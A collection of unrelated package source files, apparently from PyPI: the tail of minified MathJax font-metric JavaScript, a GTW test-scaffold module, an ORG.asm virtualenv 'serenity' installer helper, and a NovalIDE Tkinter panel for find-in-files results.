705,205,444,55,389],8230:[120,0,1172,78,1093],8242:[560,-43,275,30,262],8407:[714,-516,0,-471,-29],8463:[695,13,540,42,562],8465:[705,10,722,55,693],8467:[705,20,417,6,397],8472:[453,216,636,67,625],8476:[716,22,722,40,715],8501:[694,0,611,55,555],8592:[511,11,1000,55,944],8593:[694,193,500,17,483],8594:[511,11,1000,56,944],8595:[694,194,500,17,483],8596:[511,11,1000,55,944],8597:[772,272,500,17,483],8598:[720,195,1000,29,944],8599:[720,195,1000,55,970],8600:[695,220,1000,55,970],8601:[695,220,1000,29,944],8614:[511,11,1000,55,944],8617:[511,11,1126,55,1070],8618:[511,11,1126,55,1070],8636:[511,-230,1000,55,944],8637:[270,11,1000,55,944],8640:[511,-230,1000,56,944],8641:[270,11,1000,56,944],8652:[671,11,1000,55,944],8656:[525,24,1000,56,944],8657:[694,194,611,31,579],8658:[525,24,1000,56,944],8659:[694,194,611,31,579],8660:[526,25,1000,34,966],8661:[772,272,611,31,579],8704:[694,22,556,0,556],8706:[715,22,531,42,566],8707:[694,0,556,56,500],8709:[772,78,500,39,460],8711:[683,33,833,46,786],8712:[540,40,667,84,583],8713:[716,215,667,84,583],8715:[540,40,667,83,582],8722:[270,-230,778,84,694],8723:[500,166,778,56,722],8725:[750,250,500,56,445],8726:[750,250,500,56,444],8727:[465,-35,500,64,435],8728:[444,-55,500,55,444],8729:[444,-55,500,55,444],8730:[800,200,833,72,853],8733:[442,11,778,56,722],8734:[442,11,1000,55,944],8736:[694,0,722,55,666],8739:[750,249,278,119,159],8741:[750,250,500,132,367],8743:[598,22,667,55,611],8744:[598,22,667,55,611],8745:[598,22,667,55,611],8746:[598,22,667,55,611],8747:[716,216,417,55,472],8764:[367,-133,778,55,722],8768:[583,83,278,55,222],8771:[464,-36,778,55,722],8773:[589,-22,1000,55,722],8776:[483,-55,778,55,722],8781:[484,-16,778,55,722],8784:[670,-133,778,56,722],8800:[716,215,778,56,722],8801:[464,-36,778,56,722],8804:[636,138,778,83,694],8805:[636,138,778,83,694],8810:[568,67,1000,56,944],8811:[567,67,1000,55,944],8826:[539,41,778,84,694],8827:[539,41,778,83,694],8834:[540,40,778,84,694],8835:[540,40,778,83,693],8838:[636,138,778,84,694],8839:[636,138,778,83,693],8846:[598,22,667,55,611],8849:[636,138,778,84,714],8850:[636,138,778,64,694],8851:[598,0,667,61,605],8852:[598,0,667,61,605],8853:[583,83,778,56,722],8854:[583,83,778,56,722],8855:[583,83,778,56,722],8856:[583,83,778,56,722],8857:[583,83,778,56,722],8866:[694,0,611,55,555],8867:[694,0,611,55,555],8868:[668,0,778,55,723],8869:[668,0,778,55,723],8872:[750,249,867,119,811],8900:[488,-12,500,12,488],8901:[310,-190,278,78,199],8902:[486,-16,500,3,497],8904:[505,5,900,26,873],8942:[900,30,278,78,199],8943:[310,-190,1172,78,1093],8945:[820,-100,1282,133,1148],8968:[750,250,444,174,422],8969:[750,250,444,21,269],8970:[750,250,444,174,422],8971:[750,250,444,21,269],8994:[388,-122,1000,55,944],8995:[378,-134,1000,55,944],9136:[744,244,412,55,357],9137:[744,244,412,56,357],10216:[750,250,389,110,333],10217:[750,250,389,55,278],10222:[744,244,412,173,357],10223:[744,244,412,56,240],10229:[511,11,1609,55,1525],10230:[511,11,1638,84,1553],10231:[511,11,1859,55,1803],10232:[525,24,1609,56,1553],10233:[525,24,1638,56,1582],10234:[525,24,1858,56,1802],10236:[511,11,1638,55,1553],10815:[683,0,750,28,721],10927:[636,138,778,84,694],10928:[636,138,778,83,694]};g.FONTDATA.FONTS["MathJax_Math-italic"]={directory:"Math/Italic",family:"MathJax_Math",style:"italic",testString:"MathJax Math \u03A5",skew:{65:0.139,66:0.0833,67:0.0833,68:0.0556,69:0.0833,70:0.0833,71:0.0833,72:0.0556,73:0.111,74:0.167,75:0.0556,76:0.0278,77:0.0833,78:0.0833,79:0.0833,80:0.0833,81:0.0833,82:0.0833,83:0.0833,84:0.0833,85:0.0278,88:0.0833,90:0.0833,99:0.0556,100:0.167,101:0.0556,102:0.167,103:0.0278,104:-0.0278,108:0.0833,111:0.0556,112:0.0833,113:0.0833,114:0.0556,115:0.0556,116:0.0833,117:0.0278,118:0.0278,119:0.0833,120:0.0278,121:0.0556,122:0.0556,915:0.0833,916:0.167,920:0.0833,923:0.167,926:0.0833,928:0.0556,931:0.0833,933:0.0556,934:0.0833,936:0.0556,937:0.0833,945:0.0278,946:0.0833,948:0.0556,949:0.0833,950:0.0833,951:0.0556,952:0.0833,953:0.0556,956:0.0278,957:0.0278,958:0.111,959:0.0556,961:0.0833,962:0.0833,964:0.0278,965:0.0278,966:0.0833,967:0.0556,968:0.111,977:0.0833,981:0.0833,1009:0.0833,1013:0.0556},32:[0,0,250,0,0],47:[716,215,778,139,638],65:[716,0,750,35,726],66:[683,0,759,35,756],67:[705,22,715,50,760],68:[683,0,828,33,803],69:[680,0,738,31,764],70:[680,0,643,31,749],71:[705,22,786,50,760],72:[683,0,831,31,888],73:[683,0,440,26,504],74:[683,22,555,57,633],75:[683,0,849,31,889],76:[683,0,681,32,647],77:[683,0,970,35,1051],78:[683,0,803,31,888],79:[704,22,763,50,740],80:[683,0,642,33,751],81:[704,194,791,50,740],82:[683,21,759,33,755],83:[705,22,613,52,645],84:[677,0,584,21,704],85:[683,22,683,60,767],86:[683,22,583,52,769],87:[683,22,944,51,1048],88:[683,0,828,26,852],89:[683,-1,581,30,763],90:[683,0,683,58,723],97:[441,10,529,33,506],98:[694,11,429,40,422],99:[442,11,433,34,429],100:[694,10,520,33,523],101:[442,11,466,39,429],102:[705,205,490,55,550],103:[442,205,477,10,480],104:[694,11,576,48,555],105:[661,11,345,21,302],106:[661,204,412,-12,403],107:[694,11,521,48,503],108:[694,11,298,38,266],109:[442,11,878,21,857],110:[442,11,600,21,580],111:[441,11,485,34,476],112:[442,194,503,-39,497],113:[442,194,446,33,460],114:[442,11,451,21,430],115:[442,10,469,53,419],116:[626,11,361,19,330],117:[442,11,572,21,551],118:[443,11,485,21,467],119:[443,11,716,21,690],120:[442,11,572,35,522],121:[442,205,490,21,496],122:[442,11,465,35,468],160:[0,0,250,0,0],915:[680,-1,615,31,721],916:[716,0,833,48,788],920:[704,22,763,50,740],923:[716,0,694,35,670],926:[677,0,742,53,777],928:[680,0,831,31,887],931:[683,0,780,58,806],933:[705,0,583,28,700],934:[683,0,667,24,642],936:[683,0,612,21,692],937:[704,0,772,80,786],945:[442,11,640,34,603],946:[705,194,566,23,573],947:[441,216,518,11,543],948:[717,10,444,36,451],949:[452,22,466,27,428],950:[704,204,438,44,471],951:[442,216,497,21,503],952:[705,10,469,35,462],953:[442,10,354,48,332],954:[442,11,576,49,554],955:[694,12,583,47,556],956:[442,216,603,23,580],957:[442,2,494,45,530],958:[704,205,438,21,443],959:[441,11,485,34,476],960:[431,11,570,19,573],961:[442,216,517,23,510],962:[442,107,363,31,405],963:[431,11,571,31,572],964:[431,13,437,18,517],965:[443,10,540,21,523],966:[442,218,654,50,618],967:[442,204,626,25,600],968:[694,205,651,21,634],969:[443,11,622,15,604],977:[705,11,591,21,563],981:[694,205,596,43,579],982:[431,10,828,19,823],1009:[442,194,517,67,510],1013:[431,11,406,40,382]};g.FONTDATA.FONTS.MathJax_Size1={directory:"Size1/Regular",family:"MathJax_Size1",testString:"() [] {}",32:[0,0,250,0,0],40:[850,349,458,152,422],41:[850,349,458,35,305],47:[850,349,578,55,522],91:[850,349,417,202,394],92:[850,349,578,54,522],93:[850,349,417,22,214],123:[850,349,583,105,477],125:[850,349,583,105,477],160:[0,0,250,0,0],710:[744,-551,556,-8,564],732:[722,-597,556,1,554],770:[744,-551,0,-564,8],771:[722,-597,0,-555,-2],8214:[602,0,778,257,521],8593:[600,0,667,112,555],8595:[600,0,667,112,555],8657:[599,0,778,57,721],8659:[600,-1,778,57,721],8719:[750,250,944,55,888],8720:[750,250,944,55,888],8721:[750,250,1056,56,999],8730:[850,350,1000,111,1020],8739:[627,15,333,145,188],8741:[627,15,556,145,410],8747:[805,306,472,55,610],8748:[805,306,819,55,957],8749:[805,306,1166,55,1304],8750:[805,306,472,55,610],8896:[750,249,833,55,777],8897:[750,249,833,55,777],8898:[750,249,833,55,777],8899:[750,249,833,55,777],8968:[850,349,472,202,449],8969:[850,349,472,22,269],8970:[850,349,472,202,449],8971:[850,349,472,22,269],9168:[602,0,667,312,355],10216:[850,350,472,97,394],10217:[850,350,472,77,374],10752:[750,250,1111,56,1054],10753:[750,250,1111,56,1054],10754:[750,250,1111,56,1054],10756:[750,249,833,55,777],10758:[750,249,833,55,777]};g.FONTDATA.FONTS.MathJax_Size2={directory:"Size2/Regular",family:"MathJax_Size2",testString:"() [] {}",32:[0,0,250,0,0],40:[1150,649,597,180,561],41:[1150,649,597,35,416],47:[1150,649,811,56,754],91:[1150,649,472,224,455],92:[1150,649,811,54,754],93:[1150,649,472,16,247],123:[1150,649,667,119,547],125:[1150,649,667,119,547],160:[0,0,250,0,0],710:[772,-565,1000,-5,1004],732:[750,-611,1000,0,999],770:[772,-565,0,-1005,4],771:[750,-611,0,-1000,-1],8719:[950,450,1278,56,1221],8720:[950,450,1278,56,1221],8721:[950,450,1444,55,1388],8730:[1150,650,1000,111,1020],8747:[1360,862,556,55,944],8748:[1360,862,1084,55,1472],8749:[1360,862,1592,55,1980],8750:[1360,862,556,55,944],8896:[950,450,1111,55,1055],8897:[950,450,1111,55,1055],8898:[949,450,1111,55,1055],8899:[950,449,1111,55,1055],8968:[1150,649,528,224,511],8969:[1150,649,528,16,303],8970:[1150,649,528,224,511],8971:[1150,649,528,16,303],10216:[1150,649,611,112,524],10217:[1150,649,611,85,498],10752:[949,449,1511,56,1454],10753:[949,449,1511,56,1454],10754:[949,449,1511,56,1454],10756:[950,449,1111,55,1055],10758:[950,450,1111,55,1055]};g.FONTDATA.FONTS.MathJax_Size3={directory:"Size3/Regular",family:"MathJax_Size3",testString:"() [] {}",32:[0,0,250,0,0],40:[1450,949,736,209,701],41:[1450,949,736,34,526],47:[1450,949,1044,55,989],91:[1450,949,528,247,516],92:[1450,949,1044,56,988],93:[1450,949,528,11,280],123:[1450,949,750,130,618],125:[1450,949,750,131,618],160:[0,0,250,0,0],710:[772,-564,1444,-4,1447],732:[749,-610,1444,1,1442],770:[772,-564,0,-1448,3],771:[749,-610,0,-1443,-2],8730:[1450,950,1000,111,1020],8968:[1450,949,583,246,571],8969:[1450,949,583,11,336],8970:[1450,949,583,246,571],8971:[1450,949,583,11,336],10216:[1450,950,750,126,654],10217:[1450,949,750,94,623]};g.FONTDATA.FONTS.MathJax_Size4={directory:"Size4/Regular",family:"MathJax_Size4",testString:"() [] {}",32:[0,0,250,0,0],40:[1750,1249,792,237,758],41:[1750,1249,792,33,554],47:[1750,1249,1278,56,1221],91:[1750,1249,583,269,577],92:[1750,1249,1278,56,1221],93:[1750,1249,583,5,313],123:[1750,1249,806,144,661],125:[1750,1249,806,144,661],160:[0,0,250,0,0],710:[845,-561,1889,-14,1902],732:[823,-583,1889,1,1885],770:[845,-561,0,-1903,13],771:[823,-583,0,-1888,-4],8730:[1750,1250,1000,111,1020],8968:[1750,1249,639,269,633],8969:[1750,1249,639,5,369],8970:[1750,1249,639,269,633],8971:[1750,1249,639,5,369],9115:[1154,655,875,291,843],9116:[610,10,875,291,417],9117:[1165,644,875,291,843],9118:[1154,655,875,31,583],9119:[610,10,875,457,583],9120:[1165,644,875,31,583],9121:[1154,645,667,319,666],9122:[602,0,667,319,403],9123:[1155,644,667,319,666],9124:[1154,645,667,0,347],9125:[602,0,667,263,347],9126:[1155,644,667,0,347],9127:[899,10,889,384,718],9128:[1160,660,889,170,504],9129:[10,899,889,384,718],9130:[310,10,889,384,504],9131:[899,10,889,170,504],9132:[1160,660,889,384,718],9133:[10,899,889,170,504],9143:[935,885,1056,111,742],10216:[1750,1248,806,140,703],10217:[1750,1248,806,103,665],57344:[625,14,1056,702,742],57345:[605,14,1056,702,1076],57680:[120,213,450,-24,460],57681:[120,213,450,-10,474],57682:[333,0,450,-24,460],57683:[333,0,450,-10,474],57684:[120,0,400,-10,410]};g.FONTDATA.FONTS.MathJax_Main[8942][0]+=400;g.FONTDATA.FONTS.MathJax_Main[8945][0]+=700;g.FONTDATA.FONTS.MathJax_Size4[57684][0]+=200;g.FONTDATA.FONTS.MathJax_Size4[57684][1]+=200;g.FONTDATA.FONTS.MathJax_Main[8722][1]+=100;g.FONTDATA.FONTS.MathJax_Main[61][1]+=100;g.FONTDATA.FONTS.MathJax_Main[8773][2]-=222;g.FONTDATA.FONTS.MathJax_Main[8773][5]={rfix:-222};MathJax.Hub.Register.LoadHook(g.fontDir+"/Main/Bold/MathOperators.js",function(){g.FONTDATA.FONTS["MathJax_Main-bold"][8773][2]-=106;g.FONTDATA.FONTS["MathJax_Main-bold"][8773][5]={rfix:-106}});if(!g.imgFonts){MathJax.Hub.Browser.Select({MSIE:function(s){if(g.config.availableFonts&&g.config.availableFonts.length){g.FONTDATA.REMAP[713]=175;g.FONTDATA.REMAP[714]=180;g.FONTDATA.REMAP[715]=96;g.FONTDATA.REMAP[730]=176;var r=g.msieCheckGreek=String.fromCharCode(915)+" "+String.fromCharCode(933)+" "+String.fromCharCode(923);g.FONTDATA.RANGES.push({name:"IEgreek",low:945,high:969,offset:"IEG",add:32});g.FONTDATA.RANGES.push({name:"IEGreek",low:913,high:1014,offset:"IEG"});if(g.Font.testFont({family:"MathJax_Greek",testString:r})){g.Augment({FONTDATA:{VARIANT:{normal:{offsetIEG:913,variantIEG:"-Greek"},fraktur:{offsetIEG:913,variantIEG:"-Greek"},script:{offsetIEG:913,variantIEG:"-Greek"},"-tex-caligraphic":{offsetIEG:913,variantIEG:"-Greek"},"-tex-oldstyle":{offsetIEG:913,variantIEG:"-Greek"},"-Greek":{fonts:["MathJax_Greek"]}}}});g.FONTDATA.FONTS.MathJax_Greek={directory:"Greek/Regular",family:"MathJax_Greek",testString:"\u0393 \u03A5 \u039B",32:[0,0,250,0,0],160:[0,0,250,0,0],915:[680,0,625,25,582],916:[716,0,833,46,786],920:[705,22,778,56,722],923:[716,0,694,32,661],926:[677,0,667,42,624],928:[680,0,750,25,724],931:[683,0,722,55,666],933:[705,0,778,55,722],934:[683,0,722,56,665],936:[683,0,778,55,722],937:[704,0,722,44,677]}}if(g.Font.testFont({family:"MathJax_Greek",weight:"bold",testString:r})){g.Augment({FONTDATA:{VARIANT:{bold:{offsetIEG:913,variantIEG:"-Greek-Bold"},"bold-fraktur":{offsetIEG:913,variantIEG:"-Greek-Bold"},"bold-script":{offsetIEG:913,variantIEG:"-Greek-Bold"},"-Greek-Bold":{fonts:["MathJax_Greek-bold"]}}}});g.FONTDATA.FONTS["MathJax_Greek-bold"]={directory:"Greek/Bold",family:"MathJax_Greek",weight:"bold",testString:"\u0393 \u03A5 \u039B",32:[0,0,250,0,0],160:[0,0,250,0,0],915:[680,0,692,39,643],916:[698,0,958,56,901],920:[696,10,894,64,829],923:[698,0,806,40,765],926:[675,0,767,48,718],928:[680,0,900,39,860],931:[686,0,831,64,766],933:[697,0,894,64,829],934:[686,0,831,64,766],936:[686,0,894,64,829],937:[696,1,831,51,779]}}if(g.Font.testFont({family:"MathJax_Greek",style:"italic",testString:r})){g.Augment({FONTDATA:{VARIANT:{italic:{offsetIEG:913,variantIEG:"-Greek-Italic"},"-Greek-Italic":{fonts:["MathJax_Greek-italic"]}}}});g.FONTDATA.FONTS["MathJax_Greek-italic"]={directory:"Greek/Italic",family:"MathJax_Greek",style:"italic",testString:"\u0393 \u03A5 \u039B",skew:{915:0.0833,916:0.167,920:0.0833,923:0.167,926:0.0833,928:0.0556,931:0.0833,933:0.0556,934:0.0833,936:0.0556,937:0.0833,945:0.0278,946:0.0833,948:0.0556,949:0.0833,950:0.0833,951:0.0556,952:0.0833,953:0.0556,956:0.0278,957:0.0278,958:0.111,959:0.0556,961:0.0833,962:0.0833,964:0.0278,965:0.0278,966:0.0833,967:0.0556,968:0.111,977:0.0833,981:0.0833,1009:0.0833,1013:0.0556},32:[0,0,250,0,0],160:[0,0,250,0,0],915:[680,-1,615,31,721],916:[716,0,833,48,788],920:[704,22,763,50,740],923:[716,0,694,35,670],926:[678,0,742,53,777],928:[681,0,831,31,887],931:[683,0,780,58,806],933:[705,0,583,28,700],934:[683,0,667,24,642],936:[683,0,612,21,692],937:[704,0,772,80,786],945:[442,11,640,34,603],946:[705,194,566,23,573],947:[441,216,518,11,543],948:[717,10,444,36,451],949:[452,22,466,27,428],950:[704,204,438,44,471],951:[442,216,497,21,503],952:[705,10,469,35,462],953:[442,10,354,48,332],954:[442,11,576,49,554],955:[694,12,583,47,556],956:[442,216,603,23,580],957:[442,2,494,45,530],958:[704,205,438,21,443],959:[441,11,485,34,476],960:[431,11,570,19,573],961:[442,216,517,23,510],962:[442,107,363,31,405],963:[431,11,571,31,572],964:[431,13,437,18,517],965:[443,10,540,21,523],966:[442,218,654,50,618],967:[442,204,626,25,600],968:[694,205,651,21,634],969:[443,11,622,15,604],977:[705,11,591,21,563],981:[694,205,596,43,579],982:[431,10,828,19,823],1009:[442,194,517,67,510],1013:[431,11,406,40,382]}}}if(g.msieIE6){var u="MathJax_WinIE6";g.FONTDATA.FONTS[u]="WinIE6/Regular/Main.js";g.FONTDATA.RANGES.push({name:"arrows",low:8592,high:8601,offset:"AR"});var t={variant:"-WinIE6",8658:57866,8660:57867,8704:57868,8706:57869,8707:57870,8711:57871,8712:57872,8715:57873,8725:57874,8730:57875,8733:57876,8734:57877,8736:57878,8739:57879,8741:57880,8743:57881,8744:57882,8745:57883,8746:57884,8747:57885,8764:57886,8776:57887,8800:57888,8801:57889,8804:57890,8805:57891,8810:57892,8811:57893,8834:57894,8835:57895,8838:57896,8839:57897,8853:57898,8857:57899,8869:57900,9651:57901,9661:57902,9711:57903,9824:57904,9825:57905,9826:57906,9827:57907,9837:57908,9838:57909,9839:57910,8806:58053,8807:58054,8814:58055,8815:58056,8988:58058,8989:58059,8990:58060,8991:58061,9484:58058,9488:58059,9492:58060,9496:58061,9585:58062,9586:58063,9632:58064,9633:58065,9650:58066,9654:58068,9660:58069,9661:58070,9664:58071,9674:58072,8756:58073,8757:58074,8786:58075,9733:58076,8765:58077};var w={variant:"-WinIE6",8658:57930,8660:57931,8704:57932,8706:57933,8707:57934,8711:57935,8712:57936,8715:57937,8725:57938,8730:57939,8733:57940,8734:57941,8736:57942,8739:57943,8741:57944,8743:57945,8744:57946,8745:57947,8746:57948,8747:57949,8764:57950,8776:57951,8800:57952,8801:57953,8804:57954,8805:57955,8810:57956,8811:57957,8834:57958,8835:57959,8838:57960,8839:57961,8853:57962,8857:57963,8869:57964,9651:57965,9661:57966,9711:57967,9824:57968,9825:57969,9826:57970,9827:57971,9837:57972,9838:57973,9839:57974,8806:58053,8807:58054,8814:58055,8815:58056,8988:58058,8989:58059,8990:58060,8991:58061,9484:58058,9488:58059,9492:58060,9496:58061,9585:58062,9586:58063,9632:58064,9633:58065,9650:58066,9654:58068,9660:58069,9661:58070,9664:58071,9674:58072,8756:58073,8757:58074,8786:58075,9733:58076,8765:58077};var q={offsetAR:57856,variantAR:"-WinIE6",remap:t};var v={offsetAR:57920,variantAR:"-WinIE6",remap:w};g.Augment({FONTDATA:{VARIANT:{normal:q,bold:v,italic:q,"bold-italic":v,"-largeOp":{fonts:[u,c,d,f],remap:{8719:58000,8721:58001,8747:58005,8750:58006}},"-smallOp":{fonts:[u,d,f],remap:{8719:57984,8721:57985,8747:57989,8750:57990}},"-WinIE6":{fonts:[u]}},DELIMITERS:{8730:{HW:{0:[1,u,null,57875],1:[1.2,u,null,57986],2:[1.8,u,null,58002],3:[2.4,u,null,58018],4:[3,u,null,58034]}},124:{stretch:{ext:[57879,u]}},8739:{HW:{0:[1,u,null,57879]},stretch:{ext:[57879,u]}},9168:{HW:{1:[1,u,null,57879]},stretch:{ext:[57879,u]}},8741:{HW:{0:[1,u,null,57880]},stretch:{ext:[57880,u]}},8592:{HW:{0:[0.889,u,null,57856]},stretch:{left:[57856,u]}},8593:{HW:{0:[0.888,u,null,57857]},stretch:{top:[57991,u],ext:[57993,u]}},8594:{HW:{0:[0.889,u,null,57858]},stretch:{right:[57858,u]}},8595:{HW:{0:[0.888,u,null,57859]},stretch:{bot:[57992,u],ext:[57993,u]}},8596:{HW:{0:[1,u,null,57860]},stretch:{left:[57856,u],right:[57858,u]}},8597:{HW:{0:[1.044,u,null,57859]},stretch:{top:[57991,u],bot:[57992,u],ext:[57993,u]}}}}})}},Chrome:function(r){if(r.isPC&&!MathJax.Hub.Browser.versionAtLeast("5.0")){var q="-WinChrome";g.Augment({FONTDATA:{VARIANT:{normal:{remap:{62:[62,q]}},bold:{remap:{58097:[62,q]}},italic:{remap:{100:[100,q]}},"-tex-caligraphic":{remap:{84:[84,q]}},"-largeOp":{remap:{10752:[10752,q]}},"-smallOp":{remap:{8899:[8899,q]}},"-WinChrome":{fonts:["MathJax_WinChrome"]}},DELIMITERS:{93:{stretch:{bot:[9126,"MathJax_WinChrome"]}},8971:{stretch:{bot:[9126,"MathJax_WinChrome"]}}}}});g.FONTDATA.FONTS.MathJax_WinChrome={directory:"WinChrome/Regular",family:"MathJax_WinChrome",testString:"> T d \u23A6 \u2A00",skew:{84:0.0278,58096:0.0319},32:[0,0,250,0,0],62:[540,40,778,83,694],84:[717,68,545,34,833],100:[694,11,511,101,567],160:[0,0,250,0,0],8899:[750,249,833,55,777],9126:[1155,644,667,0,347],10752:[949,449,1511,56,1454],58096:[720,69,644,38,947],58097:[587,85,894,96,797]}}}})}(function(){var t=g.FONTDATA.FONTS,s=g.config.availableFonts;var r,q=[];if(g.allowWebFonts){for(r in t){if(t[r].family){if(s&&s.length&&g.Font.testFont(t[r])){t[r].available=true;g.Font.loadComplete(t[r])}else{t[r].isWebFont=true;if(g.FontFaceBug){t[r].family=r}q.push(g.Font.fontFace(r))}}}if(!g.config.preloadWebFonts){g.config.preloadWebFonts=[]}g.config.preloadWebFonts.push(f,h,d);if(q.length){g.config.styles["@font-face"]=q}}else{if(s&&s.length){for(r in t){if(t[r].family&&g.Font.testFont(t[r])){t[r].available=true;g.Font.loadComplete(t[r])}}}}})();l.loadComplete(g.fontDir+"/fontdata.js")})(MathJax.OutputJax["HTML-CSS"],MathJax.ElementJax.mml,MathJax.Ajax); | PypiClean |
/GTW-1.2.6.tar.gz/GTW-1.2.6/__test__/model.py |
from _GTW.__test__.Test_Command import *
import _GTW._OMP._Auth.import_Auth
if sos.environ.get ("GTW_FULL_OBJECT_MODEL", "True") != "False" :
import _GTW._OMP._EVT.import_EVT
import _GTW._OMP._EVT.UI_Spec
import _GTW._OMP._PAP.import_PAP
import _GTW._OMP._SRM.import_SRM
import _GTW._OMP._SWP.import_SWP
import _GTW._OMP._PAP.UI_Spec
import _GTW._OMP._SRM.UI_Spec
import _GTW._OMP._SWP.UI_Spec
class _GTW_Test_Command_ (GTW_Test_Command) :
_rn_prefix = "_GTW_Test"
SALT = \
b"ohQueiro7theG4vai9shi4oi9iedeethaeshooqu7oThi9Eecephaj"
def fixtures (self, scope) :
if sos.environ.get ("GTW_FIXTURES") :
from _GTW.__test__.form_app import fixtures
fixtures (scope)
# end def fixtures
def _nav_admin_groups (self) :
RST = GTW.RST
return \
[ self.nav_admin_group
( "Personenverwaltung"
, "Verwaltung von Personen und ihren Eigenschaften"
, "GTW.OMP.PAP"
)
, self.nav_admin_group
( "Benutzerverwaltung"
, "Verwaltung von Benutzer-Konten und Gruppen"
, "GTW.OMP.Auth"
, permission = RST.Is_Superuser ()
)
, self.nav_admin_group
( "Regattaverwaltung"
, "Verwaltung von Regatten, Booten, "
"Teilnehmern und Ergebnissen"
, "GTW.OMP.SRM"
, show_aliases = True
)
, self.nav_admin_group
( "Webseitenverwaltung"
, "Verwaltung der Webseiten"
, "GTW.OMP.SWP", "GTW.OMP.EVT"
, show_aliases = True
)
]
# end def _nav_admin_groups
_Command_ = _GTW_Test_Command_ # end class
Scaffold = _Command_ ()
def create_app () :
return Scaffold \
( [ "wsgi"
, "-db_url", "hps://"
, "-db_name", "test"
, "-load_I18N", "no"
, "-Setup_Cache", "yes"
]
)
# end def create_app
if __name__ == "__main__" :
db_url = sos.environ.get ("GTW_test_backends", "sqlite:///auth.sqlite")
if db_url in Scaffold.Backend_Parameters :
db_url = Scaffold.Backend_Parameters [db_url].strip ("'")
db_opt = "-db_url=%s" % db_url
Scaffold (["create", db_opt])
Scaffold (["shell", "-wsgi", db_opt])
### __END__ GTW.__test__.model | PypiClean |
/ORG.asm-1.0.3.tar.gz/ORG.asm-1.0.3/distutils.ext/obidistutils/serenity/__init__.py | import sys
from distutils import util
from distutils import sysconfig
from distutils import log
from distutils.version import LooseVersion, StrictVersion
import glob
import os
import subprocess
import re
from distutils.errors import DistutilsError
import tempfile
from importlib.util import spec_from_file_location # @UnresolvedImport
import zipimport
import argparse
import base64
from .checkpython import is_python_version
from obidistutils.serenity.rerun import enforce_good_python
from obidistutils.serenity.rerun import rerun_with_anothe_python
from obidistutils.serenity.virtual import serenity_virtualenv
from obidistutils.serenity.checksystem import is_mac_system, \
is_windows_system
from obidistutils.serenity.checkpackage import install_requirements
from obidistutils.serenity.checkpackage import check_requirements
from obidistutils.serenity.util import save_argv
from obidistutils.serenity.snake import snake
def serenity_snake(envname,package,version):
old = log.set_threshold(log.INFO)
log.info("Installing %s (%s) in serenity mode" % (package,version))
enforce_good_python()
virtualpython=serenity_virtualenv(envname,package,version)
if virtualpython!=os.path.realpath(sys.executable):
log.info("Restarting installation within the %s virtualenv" % (envname))
rerun_with_anothe_python(virtualpython)
log.info("%s will be installed with python : %s" % (package,virtualpython))
if install_requirements():
log.info("Restarting installation with all dependencies ok")
rerun_with_anothe_python(virtualpython)
log.set_threshold(old)
def serenity_assert(version):
check_requirements()
def is_serenity():
from obidistutils.serenity.globals import local_serenity
return local_serenity and local_serenity[0]
def serenity_mode(package,version):
save_argv()
from obidistutils.serenity.globals import saved_args
from obidistutils.serenity.globals import local_serenity
old = log.set_threshold(log.INFO)
argparser = argparse.ArgumentParser(add_help=False)
argparser.add_argument('--serenity',
dest='serenity',
action='store_true',
default=True,
help='Switch the installer in serenity mode. Everythings are installed in a virtualenv')
argparser.add_argument('--no-serenity',
dest='serenity',
action='store_false',
default=True,
help='Switch the installer in the no serenity mode.')
argparser.add_argument('--virtualenv',
dest='virtual',
type=str,
action='store',
default="%s-%s" % (package,version),
help='Specify the name of the virtualenv used by the serenity mode [default: %s-%s]' % (package,version))
args, unknown = argparser.parse_known_args()
sys.argv = [sys.argv[0]] + unknown
if args.serenity:
local_serenity.append(True)
serenity_snake(args.virtual,package,version)
else:
local_serenity.append(False)
log.set_threshold(old)
return args.serenity
def getVersion(source,main,version):
path = os.path.join(source,main,'%s.py' % version)
spec = spec_from_file_location('version',path)
return spec.loader.load_module().version.strip() | PypiClean |
/NovalIDE-1.1.8-py3-none-any.whl/noval/find/findresult.py | from noval import GetApp,_
import os
import tkinter as tk
from tkinter import messagebox
import noval.iface as iface
import noval.plugin as plugin
import noval.consts as consts
from tkinter import ttk
import noval.editor.text as texteditor
from noval.find.findindir import FILENAME_MARKER,PROJECT_MARKER,FILE_MARKER,FindIndirService
import noval.ttkwidgets.textframe as textframe
import noval.ui_base as ui_base
import noval.util.utils as utils
class FindResultsview(ttk.Frame):
def __init__(self, master):
ttk.Frame.__init__(self, master)
#设置查找结果文本字体为小一号的字体并且控件为只读状态
text_frame = textframe.TextFrame(self,borderwidth=0,text_class=texteditor.TextCtrl,font="SmallEditorFont",read_only=True,undo=False)
self.text = text_frame.text
text_frame.grid(row=0, column=0, sticky=tk.NSEW)
self.text.bind("<Double-Button-1>", self.OnJumptoFoundLine, "+")
self._ui_theme_change_binding = self.bind(
"<<ThemeChanged>>", self.reload_ui_theme, True
)
self.columnconfigure(0, weight=1)
self.rowconfigure(0, weight=1)
def destroy(self):
self.unbind("<<ThemeChanged>>")
ttk.Frame.destroy(self)
def reload_ui_theme(self, event=None):
self.text._reload_theme_options(force=True)
def AddLine(self,line_text):
#只读状态时无法写入数据需要先解除只读
self.text.set_read_only(False)
#linux系统下windows换行符会显示乱码,故统一成linux换行符
if utils.is_linux():
line_text = line_text.strip()
#"1.0"表示在文本最开头插入,end表示在文件末尾插入
self.text.insert(tk.END, line_text)
if not line_text.endswith("\n"):
self.text.insert(tk.END,"\n")
#写入数据完后必须恢复只读
self.text.set_read_only(True)
def ClearLines(self):
#只读状态时无法删除数据需要先解除只读
self.text.set_read_only(False)
self.text.delete('1.0','end')
self.text.set_read_only(True)
def OnJumptoFoundLine(self, event=None, defLineNum=-1):
if 0 == self.text.GetCurrentLine():
return
if defLineNum == -1:
defLineNum = self.text.GetCurrentLine()
lineText = self.text.GetLineText(defLineNum)
#忽略查找结果框第一行,第一行不是查找结果
if lineText == "\n" or lineText.find(FILENAME_MARKER) != -1 or lineText.find(PROJECT_MARKER) != -1 or lineText.find(FILE_MARKER) != -1 or defLineNum == 1:
return
lineEnd = lineText.find(":")
#忽略最后一行
if lineEnd == -1:
return
else:
lineNum = int(lineText[0:lineEnd].replace(FindIndirService.LINE_PREFIX ,"").strip())
filename = self.GetDefineFilename(defLineNum)
foundDoc = GetApp().GetDocumentManager().GetDocument(filename)
foundView = None
if not foundDoc:
if not os.path.exists(filename):
messagebox.showerror(_("Open File Error"),_("The file '%s' doesn't exist and couldn't be opened!") % filename)
return
GetApp().GotoView(filename,lineNum,load_outline=False)
def GetTextLineEndPosition(self,linenum):
pos = 0
for iline in range(linenum):
col = self.text.index("%d.end" % (iline+1)).split(".")[1]
pos += int(col)
return pos
